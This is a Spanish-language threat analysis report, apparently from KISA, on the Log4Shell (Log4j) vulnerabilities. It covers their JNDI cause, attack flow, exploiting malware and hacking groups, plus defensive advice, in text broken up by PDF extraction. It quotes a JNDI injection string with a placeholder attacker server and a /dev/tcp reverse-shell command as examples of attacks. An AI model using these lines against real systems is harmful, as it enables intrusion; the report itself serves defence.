Vulnerabilites Threat Analysis Report - SPA
Vulnerabilites Threat Analysis Report - SPA
Vulnerabilites Threat Analysis Report - SPA
vulnerabilidades de Log4j
v1.0
azas de vulnerabilidades de Log4j
Informe de análisis de amen
Resumen.........................................................................01
Descripción general.........................................................02
Causa de vulnerabilidad..................................................05
Contribuciones de expertos.............................................26
Apéndice.........................................................................29
1. Sitio de distribución de escáner de vulnerabilidad Log4j
2. ¿Qué es JNDI (interfaz de nombres y directorios de Java)?
3. Sitios de referencia para responder a las vulnerabilidades
4. Software vulnerable relacionado con Log4Shell (CVE-2021-44228)
Resumen
▶ Sin embargo, las vulnerabilidades de seguridad relacionadas con Log4j continúan descubriéndose hoy
en día y se espera que continúen. En consecuencia, preparamos un informe para sugerir la
necesidad y la dirección de una respuesta continua organizando la situación actual de Log4j
una vez más y esbozando los principales problemas.
Este documento comenzó con las dos siguientes preguntas:
1) ¿Existe un sistema de defensa que pueda evitar la penetración en sí y que elimine todas las
vulnerabilidades de antemano?
2) ¿Cuáles son las amenazas que aún existen después de la respuesta de emergencia a las
vulnerabilidades de Log4j?
En todo el ciclo de un ataque cibernético, las vulnerabilidades se utilizan en ciertas etapas que requieren
autorización. Tomar la autoridad a través de las vulnerabilidades no significa la finalización del ataque. La
respuesta a la pregunta radica en «implementar un sistema de protección de la información
donde los defensores puedan intervenir para evitar que se complete el ataque».
▶ La primera mitad de este informe detalla el análisis técnico de las vulnerabilidades de Log4j, y:
* ① El principio de expresión de vulnerabilidades y el plan de acción,
② la configuración de la red de ataque y los tipos de malware relacionados
la segunda mitad resume las cuestiones** que deben examinarse en este momento:
** ① La dificultad para identificar vulnerabilidades en código abierto,
② la dificultad para verificar la penetración interna,
③ La explotación de vulnerabilidades por parte de grupos de piratería
para sugerir*** la dirección en la que deben ir las actividades de respuesta de los oficiales
de seguridad.
*** ① Establecimiento de políticas de equipos de seguridad,
② fortalecimiento de la supervisión de los principales sistemas,
③ gestión exhaustiva de los registros del sistema
En particular, para analizar este tema de cerca desde la perspectiva de un defensor, identificamos el
principio de expresar vulnerabilidades y la técnica de explotación de los atacantes a través de pruebas
específicas.
▶ Finalmente, esperamos que este informe nos ayude a comprender el problema de la vulnerabilidad
Log4j con precisión una vez más y responder a los ataques en curso de manera efectiva en el futuro.
Informe de análisis de amenazas de vulnerabilidades de Log4j
Descripción general
24.11.2021
Primera vulnerabilidad encontrada en Alibaba
06.12.2021
Distribución de actualizaciones de seguridad CVE-2021-44228
09.12.2021
Revelado el PoC de ataque de Alibaba
10.12.2021
Se ha detectado un ataque a Minecraft
11.12.2021
Primera propagación de situaciones de emergencia a las
principales organizaciones/empresas
13.12.2021
Distribución de actualizaciones de seguridad CVE-2021-45046
15.12.2021
Segunda propagación de situaciones de emergencia a las principales organizaciones/empresas
16.12.2021 2021.12.16
Se detectó un ataque al Ministerio de Defensa belga. Reunión de CISO
18.12.2021
Distribución de actualizaciones de seguridad CVE-2021-45105
19.12.2021
Tercera propagación de situaciones de emergencia a las principales
organizaciones/empresas
28.12.2021
Distribución de actualizaciones de seguridad CVE-2021-44832
29.12.2021
Cuarta propagación de situaciones de emergencia a las principales
organizaciones/empresas
1) https://logging.apache.org/log4j/2.x/security.html
https://github.com/apache/logging-log4j2/tags
Descripción general
Alibaba descubrió esta vulnerabilidad por primera vez. Fue el 24 de noviembre y lo notificó a la
Fundación Apache. La Fundación Apache lanzó su primera actualización de seguridad el 6 de
diciembre.
Respuesta de KISA
● Después de que se reveló la vulnerabilidad, KISA recomendó rápidamente actualizaciones de
seguridad a través de varios canales, incluido Botonara (Boho.or.kr), y dio una respuesta urgente
para evitar la propagación de daños en Corea enviando correos electrónicos de recomendación
actualizados a las principales organizaciones, empresas y compañías miembros. Además, KISA
proporcionó orientación adicional mediante la creación de preguntas frecuentes para que las
empresas puedan comprender las vulnerabilidades y tomar las medidas necesarias.
● Sin embargo, en el caso del problema de la vulnerabilidad a Log4j, el alcance del uso del
programa es muy amplio y no es fácil identificar si el programa se está utilizando en una
empresa, por lo que se espera que la normalización, a través de actualizaciones de seguridad,
lleve un tiempo considerable. Además, en el caso de los productos de terceras partes (productos
comprados) introducidos sin desarrollo directo, era tan importante vigilar de cerca y responder,
como esperar a que la empresa correspondiente proporcionara actualizaciones de seguridad.
● Con este fin, el Ministerio de Ciencia y TIC y la Agencia de Internet y Seguridad de Corea
celebraron una reunión adicional con los directores ejecutivos (CISO) de protección de la
información de emergencia para responder a las vulnerabilidades de seguridad de Log4j, y
discutieron contramedidas detalladas, incluidas estrategias de defensa y métodos de inspección
contra los ataques.
Informe de análisis de amenazas de vulnerabilidades de Log4j
Causa de vulnerabilidad
Log4j
● Log4j es un programa gratuito de código abierto de la Fundación Apache que proporciona
funciones de registro y que se puede utilizar en todas las aplicaciones basadas en Java. Por lo
tanto, se puede utilizar para iniciar sesión en varios servicios basados en Java, incluidos sitios web
generales, centros comerciales y software colaborativo.
· JNDI (interfaz de nombres y directorios de Java): Proporciona la capacidad para que las aplica-
ciones Java encuentren los recursos necesarios (como bases de datos) y otra información del
programa necesaria para la ejecución
· Búsqueda: Una función para utilizar los recursos encontrados a través de JNDI
CVE ID CVE-2021-44228
Clasificación Ejecución remota de código
Severidad Crítico
Puntuación CVSS 10.0
2.0-beta 9 ~ 2.14.1 o inferior
Versión afectada ※ Excluyendo las versiones (2.3.6, 2.12.2 y 2.12.3) donde se
corrigen las vulnerabilidades
● Dado que JNDI se utiliza para ataques de vulnerabilidad, ejecuta el método JNDILookup.lookup ().
● Si se identifica una versión vulnerable utilizando el método anterior, el Log4j se debe actualizar a
la última versión de acuerdo con la versión de JAVA, como se muestra a continuación.
- Servidor de envío de consultas: Es un servidor que envía consultas de ataque. Debido a que la
parte más utilizada de las vulnerabilidades log4j es la función de registro en servidores web
basados en Java, es posible enviar consultas a sistemas que pueden acceder a la web.
- Servidor de distribución de archivos de clase: El sistema víctima recibe comandos del servidor
receptor de consultas y descarga archivos de clase maliciosa. Por lo general, las descargas se
realizan a través de un protocolo web.
Informe de análisis de amenazas de vulnerabilidades de Log4j
① Useragent: jndi:ldap://
[Servidor receptor de consultas IP]/exploit
Servidor de envío
de consultas Primer servidor de distribución
de malware
② ldap://[Servidor receptor de
consultas IP]/exploit PORT 1389
Servidor receptor
de consultas
Segundo servidor de distribución
de malware
Servidor de distribución de
archivos de clase
Tercer servidor de distribución
de malware
② El log4j vulnerable del servidor víctima extrae la parte de la consulta de ataque contenida en el
paquete web enviado por el atacante y la envía de vuelta al servidor receptor de consultas del
atacante.
⑤ Como resultado del comando, el malware de destino final se descarga del sitio de distribución
de malware.
Informe de análisis de amenazas de vulnerabilidades de Log4j
② El log4j vulnerable del servidor víctima extrae la parte de la consulta de ataque contenida en el
paquete web enviado por el atacante y la envía de vuelta al servidor receptor de consultas del
atacante.
④ El servidor víctima accede al puerto web en el servidor receptor de consultas, descarga y ejecuta
un archivo de clase malicioso con un nombre de archivo que es una combinación de «Exploit» y
10 caracteres aleatorios para llevar a cabo los comandos.
⑤ Como resultado del comando, el malware final se descarga del sitio de distribución de malware.
4) Comando encriptado: Encriptación como Base64 agregando comandos para ejecutar después de la cadena
«/basic/command/Base64/».
Método y tipo de explotación de la vulnerabilidad
- (Mirai) Algunas funciones* se han eliminado del código fuente publicado y la función de
ataque DDoS se ha cambiado para que la función de ejecución de comandos la llame directa-
mente y la use para ataques.5)
* Función de gestión de configuración, función de inicialización de ataques, etc.
- (Muhstik) La botnet Muhstik que distribuye puertas traseras, expande botnets e instala
criptomineros está configurada para descargar y ejecutar malware (formato ELF) que puede
ejecutarse en varias arquitecturas. Finalmente, la botnet Muhstik y el criptominero se insta-
lan en el dispositivo infectado para realizar actividades maliciosas.
5) Alerta de amenaza: La vulnerabilidad de Log4j ha sido adoptada por dos botnets de Linux (https://blog.netlab.360.com/
threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets)
6) Los piratas comienzan a enviar malware en ataques Log4Shell en todo el mundo (https://bleepingcomputer.com/news/
security/hackers-start-pushing-malware-in-worldwide-log4shell-attacks, '21.12.12)
Método y tipo de explotación de la vulnerabilidad
● Ransomware
- (Khonsari) Un ransomware .NET que cifra todas las unidades excepto la unidad C con
algoritmo AES. Sin embargo, también existe la opinión de que es un Wiper, un eliminador, en
lugar de un ransomware, porque la información de contacto para la recuperación no se
especifica como la dirección del atacante real.7)
- (NightSky) NightSky, conocido como la bifurcación del ransomware Rook, fue desarrollado
por el grupo de ataque DEV-0401 y explota la vulnerabilidad CVE-2021-44228 para atacar las
soluciones de VMware Horizon.8)
- (Orcus) Se distribuyó dos días después desde el mismo servidor que el ransomware Khonsari,
e intenta realizar un control remoto después de conectarse al servidor C2.
● Shell inverso
- Normalmente, se codifica como base64 y ejecuta los comandos que se describen más abajo.
Como resultado, puede conducir a comportamientos maliciosos extensos, como la fuga de
información al exterior y la infección interna por ransomware.
* Comando: /bin/bash –i > /dev/tcp/{server address}/{server port} 0<&1 2>&1
● En el caso de Log4j, se han encontrado siete vulnerabilidades adicionales desde que se encontró
la primera (CVE-2021-44228). Como se pueden encontrar más vulnerabilidades posteriormente,
es importante reflejar la última actualización a través de la supervisión continua.
Fecha de
Puntuación
Número CVE Descripción de la vulnerabilidad lanzamiento
CVSS
del parche
Vulnerabilidad en la ejecución remota 06-12-2021
de código
Vulnerabilidad en la ejecución remota
13-12-2021
de código
Vulnerabilidad en la ejecución remota
Fin del soporte
de código en 1.x
Vulnerabilidad de la denegación de
18-12-2021
servicio
Vulnerabilidad en la ejecución remota
28-12-2021
de código
Vulnerabilidad en la ejecución remota
Fin del soporte
de código en 1.x
Vulnerabilidad de la inyección
Fin del soporte
SQL en 1.x
Vulnerabilidad en la ejecución remota
Fin del soporte
de código en 1.x
Resumen de los principales problemas
● KISA continúa actualizando los avisos de seguridad contra las vulnerabilidades de Log4j. La
persona a cargo de la seguridad debe continuar consultando el estado actual de los avisos de
seguridad de KISA y tomar medidas inmediatas cuando se anuncie nueva información.
● Cuando se produjo este problema de vulnerabilidad de Log4j, lo más difícil para las empresas fue
identificar si había productos de terceras partes utilizando el programa Log4j dentro de sus
empresas.
● En el caso de las vulnerabilidades log4j, hasta ahora no se ha revelado IoC para el análisis del host.
Esto se debe a que log4j es un programa utilizado en varios servicios, por lo que, incluso si un
ataque de vulnerabilidad tiene éxito, los rastros que quedan no están estandarizados y varían de
un servicio a otro. Incluso el archivo de clase utilizado para los comandos de ataque no deja un
rastro claro en el sistema de la víctima.
● Por lo tanto, después de actualizar contra la vulnerabilidad de log4j, las empresas tienen que
llevar a cabo una inspección detallada de las anomalías generales, centrándose en el sistema
crítico interno de la empresa. Es necesario inspeccionar desde varios puntos de vista, por ejemplo,
si hay una comunicación externa inusual o si hay algún proceso anormal.
● KISA está colaborando con varias organizaciones nacionales y extranjeras para asegurar y
bloquear rápidamente la distribución y los sitios de control de los ataques que explotan esta
vulnerabilidad. Además, KISA está inspeccionando de cerca si la vulnerabilidad fue explotada en
el proceso de soporte técnico para accidentes de violación reportados.
● Microsoft dijo que los grupos de piratería están agregando explosiones log4j a sus kits de
ataque.9) Los grupos piratas encontrados por Microsoft que han llevado a cabo los ataques de
vulnerabilidad Log4j incluyen Hafnium, Aquatic Panda y Phosphorus.
9) http://m.boannews.com/html/detail.html?idx=103917&page=1&kind=1#
Resumen de los principales problemas
● En diciembre del año pasado, Aquatic Panda espió los servicios de VMware Horizon que tienen la
vulnerabilidad Log4j utilizada por grandes instituciones educativas y ejecutó comandos de
descarga de archivos. Posteriormente, identificó el entorno interno del sistema de destino y
configuró un shell inverso en la memoria. Además, recopiló credenciales existentes en la memo-
ria y las comprimió en winRAR para sustraer la información.10)
- Aquatic Panda: Es un grupo de piratería con sede en China que trabaja con el propósito de
recopilar información y filtrar secretos industriales y se cree que están en activo desde mayo
de 2020.
● Phosphorus aprovecha la vulnerabilidad Log4j para ejecutar scripts de PowerShell. Ese script
descarga malware del servidor de Amazon construido por el atacante, lo ejecuta y se comunica
con el servidor C&C.11)
- Phosphorus: Phosphorus, conocido como un grupo de piratería patrocinado por Irán, apunta
a organizaciones como la Organización Mundial de la Salud, incluyendo los gobiernos de
Estados Unidos y Medio Oriente, académicos y periodistas. El grupo de piratería Phosphorus
está trabajando para robar secretos industriales e interferir en el funcionamiento normal de
las instalaciones operativas.
10) OverWatch expone a AQUATIC PANDA en posesión de las herramientas de explotación de Log4Shell durante el intento de
intrusión práctica (https://crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-
exploit-tools, '21.12.29)
11) APT35 explota la vulnerabilidad Log4j para distribuir el nuevo kit de herramientas modular de PowerShell
(https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit,
'22.1.11) Magic Hound (https://attack.mitre.org/groups/G0059)
Informe de análisis de amenazas de vulnerabilidades de Log4j
● Además, en caso de daños reales, los registros pueden ser muy útiles para verificar la causa exacta
del accidente y el alcance del daño.
※ Referencia para la configuración del registro: Bohonara (boho.or.kr) > Data Room > Guide &
Manual > At-a-Glance Log Setting Note (3 type)
● Por esta razón, es difícil identificar vulnerabilidades en áreas no desarrolladas por uno mismo,
como secciones de código abierto o programas de terceros, lo que lleva a problemas en los que las
medidas de seguridad no se implementan correctamente.
● Además, Estados Unidos hizo obligatorio que los proveedores de software presenten la SBOM
para el software suministrado al gobierno federal a través de decretos en mayo de 2021.
Informe de análisis de amenazas de vulnerabilidades de Log4j
Contribuciones de expertos
Puede ser una pregunta simple, pero muy difícil de responder. Incluso si es relativamente
fácil responder si está incluida en el programa de desarrollo propio, no es fácil responder si
los módulos externos importados y utilizados y la solución introducida en forma de producto
terminado son seguros. Debido a esto, es difícil decir que la vulnerabilidad Log4j se ha
resuelto por completo en nuestra organización. Además, es difícil garantizar que las
versiones vulnerables no se utilizarán en el futuro.
Las últimas vulnerabilidades del día cero o día 1 también son una amenaza, pero, incluso en
organizaciones con un buen control de seguridad, las vulnerabilidades que tienen dos o tres
años de antigüedad a menudo son explotadas por alguien que se salta el control, lo que da
como resultado accidentes de violación. Por lo tanto, las vulnerabilidades de Log4j también
deberían estar sujetas a un monitoreo continuo en el futuro.
A continuación, es una suerte que nuestra organización no esté utilizando Log4j vulnerable,
pero si lo estuviéramos usando, habríamos procedido con el parche rápidamente. Debido a
que esta vulnerabilidad ha sido objeto de atención global, es relativamente afortunado si la
identificación y el parche fueron rápidos, pero si el parche fue lento, condujo a la siguiente
pregunta.
Contribuciones de expertos
▶ ¿Tal vez la penetración interna se llevó a cabo con este Log4j vulnerable?
La siguiente figura explica por qué no encontramos a los atacantes, a pesar de tener varios
entornos de control de seguridad. Los servicios basados en diagnósticos se centran en
reducir la detección falsa, mientras que los servicios de caza agresiva se centran en reducir la
no detección. Esto da lugar a áreas no identificadas, que deben complementarse con nuevos
servicios, porque los ya existentes no realizan sus funciones originales en estas áreas cuando
se amplía su alcance. La EC puede ser una de las opciones de suplementación.
Informe de análisis de amenazas de vulnerabilidades de Log4j
Si tiene suficientes recursos, sería muy útil realizar la EC regularmente a través de una
organización profesional fiable y mejorar la visibilidad de las redes y los puntos de acceso en
su organización en función de los resultados.
Apéndice
◆ JNDI es una interfaz basada en Java para proporcionar una interfaz común que interactúe con
diferentes servicios de nomenclatura y directorio como RMI, LDAP, Active Directory, DNS,
CORBA, etc. La definición de servicio de nomenclatura y servicio de directorio es la siguiente.
- Servicio de nomenclatura: una entidad que consta de nombres y valores, también llamada
«Enlaces a datos», que proporciona una función para encontrar objetos basados en
nombres mediante las operaciones «Buscar» (Search) o «Búsqueda» (Lookup).
- Servicio de directorio: un tipo especial de servicio de nomenclatura que puede almacenar y
buscar objetos de directorio. Los objetos de directorio difieren de los objetos ordinarios en
que pueden vincular propiedades a objetos y, por lo tanto, el servicio de directorio propor-
ciona extensiones para operar en las propiedades del objeto.
◆ JNDI utiliza la serialización de Java para enlazar objetos Java a servicios o directorios de
nomenclatura y los almacena en bytes. Referencia (Reference) se utiliza para administrar
objetos almacenándolos indirectamente en servicios de nomenclatura o directorio, en caso de
que el estado serializado del objeto sea demasiado grande. La referencia es decodificada por
el NamingManager y consiste en la dirección y la información de clase del objeto para hacer
referencia al objeto original y se puede utilizar de la siguiente manera.
◆ La clase referencia puede configurar objetos usando Factory, que es un método de ataque en
el que los atacantes están interesados, porque también puede referirse a clases de factory que
existen fuera. Este método de ataque también se presentó en Black Hat USA en 2016.
Apéndice
◆ Además, la carga de la clase remota JNDI se comporta de manera diferente según el nivel en
que se ejecute. Se divide en ejecutarse en el nivel de NamingManager y ejecutarse en el nivel
SPI (interfaz de proveedor de servicios).
[Figura] Estructura de JNDI (fuente: Documento técnico de Black Hat, EE. UU. 2016)
◆ Para la SPI, el gestor de seguridad se puede aplicar de acuerdo con un proveedor específico al
ejecutar una clase remota.
Propiedades que permiten la ejecución remota Si se aplica el gestor
Proveedor
de clases de seguridad
java.rmi.server.useCodebaseOnly = false
RMI Siempre
(El valor predeterminado después de JDK 7u21 es «true»)
com.sun.jndi.ldap.object.trustURLCodebase = true
LDAP (Valor predeterminado después de JDK 6u211, 7u201, 8u191, No aplica
11.0.1 = false)
CORBA Siempre
◆ Por otro lado, para los NamingManager, siempre es posible cargar clases que existen remota-
mente al decodificar la referencia de nombres JNDI, no hay ninguna opción JVM para
deshabilitarlo y no se aplica el gestor de seguridad instalado. Los atacantes pueden ejecutar
su propio código de forma remota utilizando estas características.
Informe de análisis de amenazas de vulnerabilidades de Log4j
Omitido